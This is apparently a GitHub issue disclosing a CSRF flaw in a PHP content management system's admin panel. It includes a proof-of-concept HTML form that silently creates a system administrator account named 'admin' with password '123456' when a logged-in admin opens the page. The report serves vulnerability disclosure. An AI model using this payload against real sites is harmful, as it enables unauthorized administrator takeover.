There is a CSRF vulnerability that can add the administrator account #5

hellogoldsnakeman · 2019-05-03T07:34:07Z

After the administrator logged in, open the following page can add an administrator user named admin
poc：
test.html---add an administrator user named admin

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/admin.php?c=admin&f=save" method="POST">
      <input type="hidden" name="account" value="admin" />
      <input type="hidden" name="pass" value="123456" />
      <input type="hidden" name="email" value="test&#64;163&#46;com" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="if&#95;system" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

The text was updated successfully, but these errors were encountered:

qinggan closed this as completed Mar 11, 2023

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

There is a CSRF vulnerability that can add the administrator account #5

There is a CSRF vulnerability that can add the administrator account #5

hellogoldsnakeman commented May 3, 2019 •

edited

Loading

There is a CSRF vulnerability that can add the administrator account #5

There is a CSRF vulnerability that can add the administrator account #5

Comments

hellogoldsnakeman commented May 3, 2019 • edited Loading

hellogoldsnakeman commented May 3, 2019 •

edited

Loading